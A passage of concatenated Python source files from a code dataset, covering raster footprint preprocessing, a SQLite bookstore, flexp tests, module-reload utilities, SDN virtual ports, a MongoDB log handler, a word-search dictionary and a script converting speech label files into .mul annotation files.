self.get_post_optimizations(ds):\n logger.debug(\"Applying post-optimization '%s'.\"\n % type(optimization).__name__)\n optimization(ds)\n \n # generate metadata if requested\n footprint = None\n if generate_metadata:\n normalized_space = Polygon.from_bbox((-180, -90, 180, 90))\n non_normalized_space = Polygon.from_bbox((180, -90, 360, 90))\n \n footprint = GEOSGeometry(footprint_wkt)\n #.intersection(normalized_space)\n outer = non_normalized_space.intersection(footprint)\n \n if len(outer):\n footprint = MultiPolygon(\n *map(lambda p: \n Polygon(*map(lambda ls:\n LinearRing(*map(lambda point: \n (point[0] - 360, point[1]), ls.coords\n )), tuple(p)\n )), (outer,)\n )\n ).union(normalized_space.intersection(footprint))\n else:\n if isinstance(footprint, Polygon):\n footprint = MultiPolygon(footprint)\n \n \n \n logger.info(\"Calculated Footprint: '%s'\" % footprint.wkt)\n \n \n \n # use the provided footprint\n #geom = OGRGeometry(footprint_wkt)\n #exterior = []\n #for x, y in geom.exterior_ring.tuple:\n # exterior.append(y); exterior.append(x)\n \n #polygon = [exterior]\n \n num_bands = ds.RasterCount\n \n # close the dataset and write it to the disc\n ds = None\n \n return PreProcessResult(output_filename, footprint, num_bands)\n\n\nclass VerticalCurtainGeoReference(object):\n def __init__(self, gcps, srid):\n self._gcps = gcps\n self._srid = srid\n\n @property\n def line(self):\n geom = LineString([(x, y) for x, y, _, _ in self.gcps])\n geom.srid = self._srid\n if self._srid != 4326:\n geom.transform(4326)\n return geom\n\n @property\n def polygon(self):\n return self.line.buffer(crs_tolerance(self._srid))\n\n @property\n def gcps(self):\n return self._gcps\n\n\nclass VerticalCurtainPreprocessor(object):\n def __init__(self, radiometric_interval_min=None, \n radiometric_interval_max=None):\n self.radiometric_interval_min = radiometric_interval_min\n self.radiometric_interval_max = radiometric_interval_max\n\n def generate_filename(self, output_filename):\n # TODO: use correct filename extension\n return splitext(output_filename)[0] + \".png\"\n\n def process(self, input_filename, output_filename, geo_reference,\n generate_metadata=False, merge_with=None, original_footprint=None):\n\n textureImage = Image.open(input_filename)\n\n i = np.array(list(textureImage.getdata())).reshape(textureImage.size[::-1])\n g = np.divide(np.subtract(i, self.radiometric_interval_min), (self.radiometric_interval_max - self.radiometric_interval_min) / 255.0)\n g[g < 0] = 0\n textureImage = Image.fromarray(g.astype(np.uint8), 'L')\n\n textureImage.save(output_filename)\n return VerticalCurtainPreProcessResult(1, geo_reference)\n\n\nclass VerticalCurtainPreProcessResult(object):\n def __init__(self, num_bands, geo_reference):\n self.num_bands = num_bands\n self.geo_reference = geo_reference\n\n @property\n def footprint_geom(self):\n return MultiPolygon(self.geo_reference.polygon)\n\n @property\n def ground_path(self):\n return self.geo_reference.line\n\n\nclass VolumePreProcessor(object):\n def __init__(self):\n\n pass\n\n def generate_filename(self, output_filename):\n # TODO: use correct filename extension\n return splitext(output_filename)[0] + \".tif\"\n\n\n def process(self, input_filename, output_filename, geo_reference,\n generate_metadata=False, merge_with=None, original_footprint=None):\n\n shutil.copyfile(input_filename, output_filename)\n\n ds = gdal.Open(output_filename)\n numbands = ds.RasterCount\n del ds\n\n return VolumePreProcessResult(numbands, geo_reference)\n\n\nclass VolumePreProcessResult(object):\n def __init__(self, num_bands, geo_reference):\n self.num_bands = num_bands\n self.geo_reference = geo_reference\n\n @property\n def footprint_geom(self):\n # TODO: Check if extent of footprint\n e = self.geo_reference\n mp = MultiPolygon(Polygon.from_bbox((e.minx, e.miny, e.maxx, e.maxy)))\n mp.srid = e.srid\n return mp\n","sub_path":"ngeo_browse_server/control/ingest/preprocessing/preprocessor.py","file_name":"preprocessor.py","file_ext":"py","file_size_in_byte":9993,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"} +{"seq_id":"94691750","text":"import sqlite3\n\ndef connect():\n conn=sqlite3.connect(\"books.db\")\n #conn=sqlite3.connect(\"dbname='book' user='postgres' password='123' host='localhost' port='5432'\")\n cur=conn.cursor()\n cur.execute(\"CREATE TABLE IF NOT EXISTS book (id INTEGER PRIMARY KEY, title text, author text, year integer, isbn integer)\")\n conn.commit()\n conn.close()\n\ndef insert(title,author,year,isbn):\n conn=sqlite3.connect(\"books.db\")\n cur=conn.cursor()\n cur.execute(\"INSERT INTO book VALUES (NULL,?,?,?,?)\",(title,author,year,isbn))\n #cur.execute(\"INSERT INTO book VALUES ('%s', '%s', '%s')\",%(item, quantity, price))\n #cur.execute(\"INSERT INTO book VALUES (%s, %s, %s)\",(item, quantity, price))\n conn.commit()\n conn.close()\n\ndef view():\n conn=sqlite3.connect(\"books.db\")\n cur=conn.cursor()\n cur.execute(\"SELECT * FROM book\")\n rows=cur.fetchall()\n conn.close()\n return rows\n\ndef search(title=\"\",author=\"\",year=\"\",isbn=\"\"):\n conn=sqlite3.connect(\"books.db\")\n cur=conn.cursor()\n cur.execute(\"SELECT * FROM book WHERE title=? OR author=? OR year=? OR isbn=?\", (title,author,year,isbn))\n rows=cur.fetchall()\n conn.close()\n return rows\n\ndef delete(id):\n conn=sqlite3.connect(\"books.db\")\n cur=conn.cursor()\n cur.execute(\"DELETE FROM book WHERE id=?\", (id,))\n conn.commit()\n conn.close()\n\ndef update(id,title,author,year,isbn):\n conn=sqlite3.connect(\"books.db\")\n cur=conn.cursor()\n cur.execute(\"UPDATE book SET title=?, author=?, year=?, isbn=? WHERE id=?\", (title,author,year,isbn,id))\n conn.commit()\n conn.close()\n\nconnect()\n#print(view())\n\n#import mysql.connector\n#con = mysql.connector.connect(\n# user=\"ardit700_student\", \n# password = \"ardit700_student\", \n# host=\"108.167.140.122\", \n# database = \"ardit700_pm1database\"\n#)\n#cursor = con.cursor()\n#query = cursor.execute(\"SHOW TABLES\")\n#results = cursor.fetchall()\n#print(results)\n","sub_path":"project/bookstore/database.py","file_name":"database.py","file_ext":"py","file_size_in_byte":1920,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"} +{"seq_id":"31596147","text":"# coding: utf-8\n\nimport atexit\nimport io\nimport os\nfrom os import path\nimport shutil\n\nfrom flexp import flexp\n\n\ndef test_working():\n flexp.setup(\"tests/data/\", \"exp01\", False)\n\n expdir = path.join(\"tests/data/\", \"exp01\")\n assert path.isdir(expdir), \"flexp didn't create experiment dir\"\n\n with io.open(\"tests/testfile.txt\", \"wt\") as x:\n x.write(u\"hello\")\n\n flexp.backup_files([\"tests/testfile.txt\"])\n assert path.exists(path.join(\"tests/data/\", \"exp01\", \"testfile.txt\"))\n\n # forbid flexp creating metadata on exit\n if hasattr(atexit, \"unregister\"):\n getattr(atexit, \"unregister\")(flexp.core._eh[\"experiment\"]._write_metadata)\n\n os.unlink(\"tests/testfile.txt\")\n os.unlink(path.join(expdir, \"testfile.txt\"))\n if not hasattr(atexit, \"unregister\") and path.exists(\n path.join(expdir, \"flexp_info.txt\")):\n os.unlink(path.join(expdir, \"flexp_info.txt\"))\n shutil.rmtree(expdir)\n\n\ndef test_static():\n flexp.static(\"data\", \"tests/mydatafolder\")\n assert path.isdir(\n \"tests/mydatafolder\"), \"flexp didn't create static root directory\"\n\n file_path = flexp.get_static_file(\"data\", \"nonexisting/file.txt\")\n\n static_folder = \"tests/mydatafolder/nonexisting\"\n assert path.isdir(static_folder), \"flexp didn't create static subdirectory\"\n\n with io.open(file_path, \"wt\") as x:\n x.write(u\"hello\")\n\n os.unlink(file_path)\n os.rmdir(static_folder)\n","sub_path":"tests/test_flexp.py","file_name":"test_flexp.py","file_ext":"py","file_size_in_byte":1430,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"} +{"seq_id":"521094018","text":"__author__ = 'Chick Markley'\n\nimport os\nimport sys\nimport imp\nimport inspect\nfrom pprint import pprint\n\n\nclass Util(object):\n @staticmethod\n def is_package(directory):\n # print \"is_package testing %s\" % os.path.join(directory, \"__init__.py\")\n return os.path.isfile(os.path.join(directory, \"__init__.py\"))\n\n @staticmethod\n def path_to_path_and_package(file_path, package_name=None):\n \"\"\"\n converts a file name into a path and a package name\n \"\"\"\n # print \"path_to_path_and_package got %s and %s\" % (file_path, package_name)\n if package_name is None:\n file_path, package_name = os.path.split(file_path)\n if package_name.endswith(\".py\"):\n package_name = \".\".join(package_name.split(\".\")[:-1])\n\n if Util.is_package(package_name):\n file_path2, file_name2 = os.path.split(file_path)\n return Util.path_to_path_and_package(file_path2, \".\".join([file_name2, package_name]))\n else:\n if file_path == \"\":\n file_path = '.'\n return file_path, package_name\n\n @staticmethod\n def get_module(package_name):\n if package_name in sys.modules:\n return sys.modules[package_name]\n return None\n\n @staticmethod\n def clear_classes_and_reload_package(name):\n loaded_module = sys.modules[name]\n keys = loaded_module.__dict__.keys()[:]\n for key in keys:\n if inspect.isclass(loaded_module.__dict__[key]):\n # print(\"deleting %s\" % key)\n del loaded_module.__dict__[key]\n\n del sys.modules[name]\n __import__(name)\n # imp.reload(loaded_module)\n\n @staticmethod\n def clear_classes_in_package(name):\n if name in sys.modules:\n loaded_module = sys.modules[name]\n keys = loaded_module.__dict__.keys()[:]\n for key in keys:\n if inspect.isclass(loaded_module.__dict__[key]):\n # print(\"deleting %s\" % key)\n del loaded_module.__dict__[key]\n\n del sys.modules[name]","sub_path":"ast_tool_box/util.py","file_name":"util.py","file_ext":"py","file_size_in_byte":2118,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"} +{"seq_id":"343129040","text":"#!/usr/bin/env python3\n#\n# Copyright (c) 2016 Roberto Riggio\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing,\n# software distributed under the License is distributed on an\n# \"AS IS\" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY\n# KIND, either express or implied. See the License for the\n# specific language governing permissions and limitations\n# under the License.\n\n\"\"\"Virtual port.\"\"\"\n\n\nfrom empower.datatypes.etheraddress import EtherAddress\nfrom empower.intentserver.intentserver import IntentServer\n\nfrom empower.main import RUNTIME\n\n\ndef ofmatch_d2s(key):\n \"\"\"Convert an OFMatch from dictionary to string.\"\"\"\n\n match = \",\".join([\"%s=%s\" % x for x in sorted(key.items())])\n return match\n\n\ndef ofmatch_s2d(match):\n \"\"\"Convert an OFMatch from string to dictionary.\"\"\"\n\n key = {}\n\n for token in match.split(\",\"):\n key_t, value_t = token.split(\"=\")\n\n if key_t == 'dl_vlan':\n value_t = int(value_t)\n\n if key_t == 'dl_type':\n value_t = int(value_t)\n\n if key_t == 'nw_proto':\n value_t = int(value_t)\n\n key[key_t] = value_t\n\n return key\n\n\nclass VirtualPort(object):\n \"\"\"Virtual port.\"\"\"\n\n def __init__(self, virtual_port_id, phy_port):\n\n self.virtual_port_id = virtual_port_id\n self.dpid = phy_port.dpid\n self.ovs_port_id = phy_port.port_id\n self.hwaddr = phy_port.hwaddr\n self.iface = phy_port.iface\n\n self.next = dict()\n\n def clear(self):\n \"\"\"Clear all outgoing links.\"\"\"\n\n if not self.next:\n return\n\n for key in list(self.next):\n del self.next[key]\n\n def to_dict(self):\n \"\"\" Return a JSON-serializable dictionary representing the Port \"\"\"\n\n return {'dpid': self.dpid,\n 'ovs_port_id': self.ovs_port_id,\n 'virtual_port_id': self.virtual_port_id,\n 'hwaddr': self.hwaddr,\n 'iface': self.iface}\n\n def __hash__(self):\n\n return hash(self.dpid) + hash(self.ovs_port_id) + \\\n hash(self.virtual_port_id)\n\n def __eq__(self, other):\n\n return (other.dpid == self.dpid and\n other.ovs_port_id == self.ovs_port_id and\n other.virtual_port_id == self.virtual_port_id)\n\n def __repr__(self):\n\n out_string = \"%s ovs_port %s virtual_port %s hwaddr %s iface %s\"\n\n out = out_string % (self.dpid, self.ovs_port_id, self.virtual_port_id,\n self.hwaddr, self.iface)\n\n return out\n\n\nclass VirtualPortLvap(VirtualPort):\n \"\"\"Virtual port.\"\"\"\n\n def __init__(self, virtual_port_id, phy_port, lvap):\n super(VirtualPortLvap, self).__init__(virtual_port_id, phy_port)\n self.next = VirtualPortPropLvap(lvap)\n\n\nclass VirtualPortLvnf(VirtualPort):\n \"\"\"Virtual port.\"\"\"\n\n def __init__(self, virtual_port_id, phy_port):\n super(VirtualPortLvnf, self).__init__(virtual_port_id, phy_port)\n self.next = VirtualPortPropLvnf(self)\n\n\nclass VirtualPortProp(dict):\n \"\"\"Maps Flows to VirtualPorts.\n\n Flows are dictionary keys in the following format:\n dl_src=11:22:33:44:55:66,tp_dst=80\n \"\"\"\n\n def __init__(self, obj):\n super(VirtualPortProp, self).__init__()\n self.__uuids__ = {}\n self.obj = obj\n\n def __delitem__(self, key):\n \"\"\"Clear virtual port configuration.\n\n Remove entry from dictionary and remove flows.\n \"\"\"\n\n intent_server = RUNTIME.components[IntentServer.__module__]\n\n # remove virtual links\n if key in self.__uuids__:\n for uuid in self.__uuids__[key]:\n intent_server.remove_intent(uuid)\n del self.__uuids__[key]\n\n # remove old entry\n dict.__delitem__(self, key)\n\n\nclass VirtualPortPropLvap(VirtualPortProp):\n \"\"\"VirtualPortProp class for LVAPs.\"\"\"\n\n def __setitem__(self, key, value):\n \"\"\"Set virtual port configuration.\"\"\"\n\n if value and not isinstance(value, VirtualPort):\n raise KeyError(\"Expected VirtualPort, got %s\" % type(key))\n\n # remove virtual link\n if self.__contains__(key):\n self.__delitem__(key)\n\n self.__uuids__[key] = []\n\n intent_server = RUNTIME.components[IntentServer.__module__]\n\n # Set downlink and uplink virtual link(s)\n dl_blocks = list(self.obj.downlink.values())\n ul_blocks = list(self.obj.uplink.values())\n blocks = dl_blocks + ul_blocks\n\n # r_port is a RadioPort object\n for r_port in blocks:\n\n n_port = r_port.block.radio.port()\n\n # set/update intent\n intent = {'version': '1.0',\n 'ttp_dpid': value.dpid,\n 'ttp_port': value.ovs_port_id,\n 'stp_dpid': n_port.dpid,\n 'stp_port': n_port.port_id,\n 'match': ofmatch_s2d(key)}\n\n # add new virtual link\n uuid = intent_server.send_intent(intent)\n self.__uuids__[key].append(uuid)\n\n # add entry\n dict.__setitem__(self, key, value)\n\n\nclass VirtualPortPropLvnf(VirtualPortProp):\n \"\"\"VirtualPortProp class for LVAPs.\"\"\"\n\n def __setitem__(self, key, value):\n \"\"\"Set virtual port configuration.\"\"\"\n\n if value and not isinstance(value, VirtualPort):\n raise KeyError(\"Expected VirtualPort, got %s\" % type(key))\n\n # remove virtual link\n if self.__contains__(key):\n self.__delitem__(key)\n\n self.__uuids__[key] = []\n\n intent_server = RUNTIME.components[IntentServer.__module__]\n\n # set/update intent\n intent = {'version': '1.0',\n 'ttp_dpid': value.dpid,\n 'ttp_port': value.ovs_port_id,\n 'stp_dpid': self.obj.dpid,\n 'stp_port': self.obj.ovs_port_id,\n 'match': ofmatch_s2d(key)}\n\n # add new virtual link\n uuid = intent_server.send_intent(intent)\n self.__uuids__[key].append(uuid)\n\n # add entry\n dict.__setitem__(self, key, value)\n","sub_path":"empower/core/virtualport.py","file_name":"virtualport.py","file_ext":"py","file_size_in_byte":6349,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"} +{"seq_id":"400620888","text":"import logging\nfrom pymongo import MongoClient\nfrom bson import InvalidDocument\n\n\nclass MongoHandler(logging.Handler):\n\tdef __init__(self, collection, level=logging.NOTSET):\n\t\tlogging.Handler.__init__(self, level)\n\t\tself.collection = MongoClient('10.0.0.10', 27017)['mytest'][collection]\n\n\tdef emit(self, record):\n\t\tdata = record.__dict__.copy()\n\n\t\ttry:\n\t\t\tself.collection.save(data)\n\t\texcept InvalidDocument as e:\n\t\t\tlogging.error(\"Unable save log to mongodb: %s\", e.message)\n\n\n# if __name__ == '__main__':\n# \tMongoHandler('mongolog', 'test')\n","sub_path":"test_rest/settings/mongo_log.py","file_name":"mongo_log.py","file_ext":"py","file_size_in_byte":544,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"} +{"seq_id":"23717445","text":"import collections\n\n\nclass WordDictionary(object):\n def __init__(self):\n \"\"\"\n initialize your data structure here.\n \"\"\"\n self.wordDict = collections.defaultdict(list)\n\n def addWord(self, word):\n \"\"\"\n Adds a word into the data structure.\n :type word: str\n :rtype: void\n \"\"\"\n if word:\n self.wordDict[len(word)].append(word)\n\n def search(self, word):\n \"\"\"\n Returns if the word is in the data structure. A word could\n contain the dot character '.' to represent any one letter.\n :type word: str\n :rtype: bool\n \"\"\"\n if not word:\n return False\n if '.' not in word:\n return word in self.wordDict[len(word)]\n for v in self.wordDict[len(word)]:\n for i, char in enumerate(word):\n if char != v[i] and char != '.':\n break\n else:\n return True\n return False\n\n\n# Your WordDictionary object will be instantiated and called as such:\nwordDictionary = WordDictionary()\nwordDictionary.addWord(\"bad\")\nresult = wordDictionary.search(\"..ad\")\n\nprint(wordDictionary.wordDict, result)\n","sub_path":"python/211 Add and Search Word - Data structure design.py","file_name":"211 Add and Search Word - Data structure design.py","file_ext":"py","file_size_in_byte":1211,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"} +{"seq_id":"553504086","text":"# -*- coding: utf-8 -*-\n\"\"\"\nSpyder Editor\n\nThis is a temporary script file.\n\"\"\"\nimport re\nfrom argparse import ArgumentParser\nfrom copy import copy, deepcopy\nimport os\n\n## lab 外部輸入\n\n##\"arctic_a0001\"\n\n\ndef load_sentence(label):\n #input : label in cmu_us_arctic_slt\n #output : sentence including punctuation and transform to upper\n # print(\"\\t\\t\\t load_sentence \\t\\t\\t\")\n DEBUG_MODE = 0\n \n f = open('arctic_sentense.txt', 'r+')\n for line in f :\n if re.search(\"[a-z]\\d{4}\" , in_label).group(0) == re.search(\"[a-z]\\d{4}\" , line).group(0):\n pattern = r\"\\\".*\\\"\"\n sentence = re.search(pattern , line).group(0).strip('\"')\n break\n \n sentence = sentence.strip(\" \")\n\n if sentence.find(\"etc\") != -1:\n sentence.replace(\"etc\" , \"etcetera\")\n \n f.close()\n \n if DEBUG_MODE == 1:\n print(\"function : load_sentence(label)\")\n print(\"sentence =\",sentence)\n \n return sentence\n\n\n\n\ndef load_lab(label):\n # print(\"\\t\\t\\t load_lab \\t\\t\\t\")\n ##input : label in cmu_us_arctic_slt\n ##output : Start,End,P_LAB,B_LAB,E_LAB\n '''\n Start : strat time\n end : end time\n P_LAB : phoneme\n B_LAB :\n E_LAB : POS\n '''\n \n DEBUG_MODE = 0\n \n Start , End =[],[]\n P_LAB,A_LAB,B_LAB,C_LAB,D_LAB,E_LAB,F_LAB,G_LAB,H_LAB,I_LAB,J_LAB=[],[],[],[],[],[],[],[],[],[],[]\n f = open(\"./lab/\" + label, 'r+')\n '''\n for line in f :\n start_time = re.findall(r\" \\d+ \" , line)[0].strip(\" \")\n end_time = re.findall(r\" \\d+ \" , line)[1].strip(\" \")\n P = re.findall(r\"[a-z]+\\^[a-z]+\\-[a-z]+\\+\\w+\\=\\w+\\@\\w+\\_\\w+\" , line)[0]\n A = re.findall(r\"\\/A\\:[0-9]\\_[0-9]\\_[0-9]\",line)[0]\n B = re.findall(r\"\\/B\\:\\w\\-\\w\\-\\w\\@\\w\\-\\w\\&\\w-\\w#\\w-\\w\\$\\w-\\w!\\w-\\w;\\w-\\w\\|\\w\",line)[0]\n C = re.findall(r\"\\/C\\:\\w\\+\\w\\+\\w\",line)[0]\n D = re.findall(r\"\\/D\\:\\w+\\_\\w\",line)[0]\n E = re.findall(r\"\\/E\\:\\w+\\+\\w\\@\\w\\+\\w\\&\\w\\+\\w\\#\\w\\+\\w\",line)[0]\n F = re.findall(r\"\\/F\\:\\w+_\\w\",line)[0]\n G = re.findall(r\"\\/G\\:\\w_\\w\",line)[0]\n H = re.findall(r\"\\/H\\:\\w\\=\\w\\^\\w\\=\\w\\|\\w\",line)[0]\n I = re.findall(r\"\\/I\\:\\w\\=\\w\",line)[0]\n J = re.findall(r\"\\/J\\:\\w+\\+\\w+\\-\\w\",line)[0]\n \n P_G = re.search(r\"(.*)\\^(.*)\\-(.*)\\+(.*)\\=(.*)\\@(.*)\\_(.*)\" , P )\n A_G = re.search(r\"\\/A\\:(.*)\\_(.*)\\_(.*)\" , A)\n B_G = re.search(r\"\\/B\\:(.*)\\-(.*)\\-(.*)\\@(.*)\\-(.*)\\&(.*)\\-(.*)\\#(.*)\\-(.*)\\$(.*)\\-(.*)\\!(.*)\\-(.*)\\;(.*)\\-(.*)\\|(.*)\" , B)\n C_G = re.search(r\"\\/C\\:(.*)\\+(.*)\\+(.*)\" , C)\n D_G = re.search(r\"\\/D\\:(.*)\\_(.*)\" , D)\n E_G = re.search(r\"\\/E\\:(.*)\\+(.*)\\@(.*)\\+(.*)\\&(.*)\\+(.*)\\#(.*)\\+(.*)\" , E)\n F_G = re.search(r\"\\/F\\:(.*)\\_(.*)\" , F)\n G_G = re.search(r\"\\/G\\:(.*)\\_(.*)\" , G)\n H_G = re.search(r\"\\/H\\:(.*)\\=(.*)\\^(.*)\\=(.*)\\|(.*)\" , H)\n I_G = re.search(r\"\\/I\\:(.*)\\=(.*)\" , I)\n J_G = re.search(r\"\\/J\\:(.*)\\+(.*)\\-(.*)\" , J)\n \n \n P_7 = [P_G.group(0),P_G.group(1),P_G.group(2),P_G.group(3),P_G.group(4),P_G.group(5),P_G.group(6),P_G.group(7)]\n A_3 = [A_G.group(0),A_G.group(1),A_G.group(2),A_G.group(3)]\n B_16 = [B_G.group(0),B_G.group(1),B_G.group(2),B_G.group(3),B_G.group(4),B_G.group(5),B_G.group(6),B_G.group(7),B_G.group(8),\n B_G.group(9),B_G.group(10),B_G.group(11),B_G.group(12),B_G.group(13),B_G.group(14),B_G.group(15),B_G.group(16)]\n C_3 = [C_G.group(0),C_G.group(1),C_G.group(2),C_G.group(3)]\n D_2 = [D_G.group(0),D_G.group(1),D_G.group(2)]\n E_8 = [E_G.group(0),E_G.group(1),E_G.group(2),E_G.group(3),E_G.group(4),\n E_G.group(5),E_G.group(6),E_G.group(7),E_G.group(8),]\n F_2 = [F_G.group(0),F_G.group(1),F_G.group(2)]\n G_2 = [G_G.group(0),G_G.group(1),G_G.group(2)]\n H_5 = [H_G.group(0),H_G.group(1),H_G.group(2),H_G.group(3),H_G.group(4),H_G.group(5)]\n I_2 = [I_G.group(0),I_G.group(1),I_G.group(2)]\n J_3 = [J_G.group(0),J_G.group(1),J_G.group(2),J_G.group(3)]\n \n Start.append(start_time)\n End.append(end_time)\n P_LAB.append(P_7)\n A_LAB.append(A_3)\n B_LAB.append(B_16)\n C_LAB.append(C_3)\n D_LAB.append(D_2)\n E_LAB.append(E_8)\n F_LAB.append(F_2)\n G_LAB.append(G_2)\n H_LAB.append(H_5)\n I_LAB.append(I_2)\n J_LAB.append(J_3)\n #print(line)\n '''\n for line in f :\n #print(line)\n start_time = re.findall(r\" \\d+ \" , line)[0].strip(\" \")\n end_time = re.findall(r\" \\d+ \" , line)[1].strip(\" \")\n P = re.findall(r\"[a-z]+\\^[a-z]+\\-[a-z]+\\+\\w+\\=\\w+\\@\\w+\\_\\w+\" , line)[0]\n B = re.findall(r\"\\/B\\:\\w\\-\\w\\-\\w\\@\\w\\-\\w\\&\\w*-\\w*#\\w*-\\w*\\$\\w-\\w!\\w-\\w;\\w*-\\w*\\|\\w\",line)[0]\n E = re.findall(r\"\\/E\\:\\w+\\+\\w\\@\\w*\\+\\w*\\&\\w\\+\\w\\#\\w\\+\\w\",line)[0]\n \n P_G = re.search(r\"(.*)\\^(.*)\\-(.*)\\+(.*)\\=(.*)\\@(.*)\\_(.*)\" , P )\n B_G = re.search(r\"\\/B\\:(.*)\\-(.*)\\-(.*)\\@(.*)\\-(.*)\\&(.*)\\-(.*)\\#(.*)\\-(.*)\\$(.*)\\-(.*)\\!(.*)\\-(.*)\\;(.*)\\-(.*)\\|(.*)\" , B)\n E_G = re.search(r\"\\/E\\:(.*)\\+(.*)\\@(.*)\\+(.*)\\&(.*)\\+(.*)\\#(.*)\\+(.*)\" , E)\n \n P_G = re.search(r\"(.*)\\^(.*)\\-(.*)\\+(.*)\\=(.*)\\@(.*)\\_(.*)\" , P )\n B_G = re.search(r\"\\/B\\:(.*)\\-(.*)\\-(.*)\\@(.*)\\-(.*)\\&(.*)\\-(.*)\\#(.*)\\-(.*)\\$(.*)\\-(.*)\\!(.*)\\-(.*)\\;(.*)\\-(.*)\\|(.*)\" , B)\n E_G = re.search(r\"\\/E\\:(.*)\\+(.*)\\@(.*)\\+(.*)\\&(.*)\\+(.*)\\#(.*)\\+(.*)\" , E)\n \n P_7 = [P_G.group(0),P_G.group(1),P_G.group(2),P_G.group(3),P_G.group(4),P_G.group(5),P_G.group(6),P_G.group(7)]\n B_16 = [B_G.group(0),B_G.group(1),B_G.group(2),B_G.group(3),B_G.group(4),B_G.group(5),B_G.group(6),B_G.group(7),B_G.group(8),\n B_G.group(9),B_G.group(10),B_G.group(11),B_G.group(12),B_G.group(13),B_G.group(14),B_G.group(15),B_G.group(16)]\n E_8 = [E_G.group(0),E_G.group(1),E_G.group(2),E_G.group(3),E_G.group(4),\n E_G.group(5),E_G.group(6),E_G.group(7),E_G.group(8)]\n \n Start.append(start_time)\n End.append(end_time)\n P_LAB.append(P_7)\n B_LAB.append(B_16)\n E_LAB.append(E_8)\n \n\n f.close()\n \n \n \n # if DEBUG_MODE == 1:\n # print(\"funciotn : load_lab(label)\")\n # print(\"Start =\",Start)\n # print(\"End =\",End)\n # print(\"P_LAB =\",P_LAB)\n # print(\"B_LAB =\",B_LAB)\n # print(\"E_LAB =\",E_LAB)\n \n \n #return Start,End,P_LAB,A_LAB,B_LAB,C_LAB,D_LAB,E_LAB,F_LAB,G_LAB,H_LAB,I_LAB,J_LAB\n return Start,End,P_LAB,B_LAB,E_LAB \n\n\ndef generate_mul(Start,End,P_LAB,B_LAB,E_LAB,in_label,\n syl_start,word_start,word_dict,word_list,syllable_list,stress_phone,stress_class,phone_list_pau,\n phone_before_comma,phone_before_period,phone_before_semicolon,phone_after_comma,phone_after_period,phone_after_semicolon):\n # print(\"\\t\\t\\t generate_mul \\t\\t\\t\")\n title = in_label.rstrip(\".lab\")\n \n folder = os.path.exists(\"./mul/\")\n if not folder:\n os.makedirs(\"./mul/\")\n\n w = open( './mul/' + title + '.mul','w+')\n k=0\n m=0\n\n \n ##get stress index\n stress_index = []\n n=0\n for i in range(len(phone_list_pau)):\n if n < len(stress_phone):\n #print(stress_phone[n] , phone_list_pau[i])\n if stress_phone[n].startswith(phone_list_pau[i]):\n stress_index.append(i)\n n=n+1\n # print(Start[0:5])\n # print(End[0:5])\n \n # print(len(phone_list_pau) , len(Start))\n \n ## 合併切割時間\n if len(phone_list_pau) != len(Start) and len(Start)-len(phone_list_pau)==1:\n End[0] = Start[2]\n del Start[1]\n del End[1]\n \n # print(\"比對phone(含pau)的數量 和 切割時間的數量\",len(phone_list_pau) , len(Start)) ##比對phone_list的數量 和 切割時間的數量 \n # print(\"stress數量和syllable數量\",len(stress_index) , len(syl_start)) ##比對strees的數量 和 syllable的數量\n # print(phone_list_pau)\n for i in range(0,len(phone_list_pau)):\n w.write(\"{}\".format(Start[i]) )\n w.write(\" \")\n w.write(\"{}\".format(End[i]) )\n w.write(\" \")\n w.write(\"{}\".format(phone_list_pau[i]))\n w.write(\" \")\n #print(i , B_LAB[i][1])\n \n \n if k < len(stress_index):\n if i == syl_start[k]:\n w.write(\"{}\".format(stress_class[k]))\n w.write(\" \")\n k=k+1\n \n \n if i == word_start[m] :\n w.write(\"{}\".format(word_dict[word_list[m]]))\n w.write(\" \")\n ## POS\n if E_LAB[i][1] != 'x':\n w.write(\"{}\".format(\"1\"))\n w.write(\" \")\n w.write(\"{}\".format(E_LAB[i][1]))\n w.write(\" \")\n \n\n if word_dict[word_list[m]] in phone_before_comma :\n w.write(\"{}\".format(\"1\"))\n w.write(\" \")\n w.write(\"{}\".format(\",\"))\n w.write(\" \")\n elif word_dict[word_list[m]] in phone_before_period :\n w.write(\"{}\".format(\"1\"))\n w.write(\" \")\n w.write(\"{}\".format(\".\"))\n w.write(\" \")\n elif word_dict[word_list[m]] in phone_before_semicolon :\n w.write(\"{}\".format(\"1\"))\n w.write(\" \")\n w.write(\"{}\".format(\";\"))\n w.write(\" \")\n else:\n w.write(\"{}\".format(\"0\"))\n w.write(\" \")\n if word_dict[word_list[m]] in phone_after_comma :\n w.write(\"{}\".format(\"1\"))\n w.write(\" \")\n w.write(\"{}\".format(\",\"))\n w.write(\" \")\n elif word_dict[word_list[m]] in phone_after_period :\n w.write(\"{}\".format(\"1\"))\n w.write(\" \")\n w.write(\"{}\".format(\".\"))\n w.write(\" \")\n elif word_dict[word_list[m]] in phone_after_semicolon :\n w.write(\"{}\".format(\"1\"))\n w.write(\" \")\n w.write(\"{}\".format(\";\"))\n w.write(\" \")\n else:\n w.write(\"{}\".format(\"0\"))\n w.write(\" \")\n \n \n\n \n \n m=m+1\n if m == len(word_start):\n m=0\n \n w.write(\"\\n\")\n w.close()\n \n # print(\"phone_list_pau =\",phone_list_pau,len(phone_list_pau))\n # print(\"word_list =\",word_list,len(word_list))\n # print(\"syllable_list =\",syllable_list,len(syllable_list))\n # print(\"stress_phone =\",stress_phone ,len(stress_phone))\n # print(\"stress_index =\",stress_index , len(stress_index))\n # print(\"stress_class =\",stress_class ,len(stress_class))\n # print(\"syl_start =\",syl_start,len(syl_start))\n # print(\"word_start =\",word_start,len(word_start))\n # print(\"word_dict =\",word_dict)\n \n \n if len(phone_list_pau) != len(Start):\n \n folder = os.path.exists(\"./log/\")\n if not folder:\n os.makedirs(\"./log/\")\n\n w = open( './log/' + title + '.mul','w+')\n w.write(str(len(phone_list_pau)))\n w.write('\\t')\n 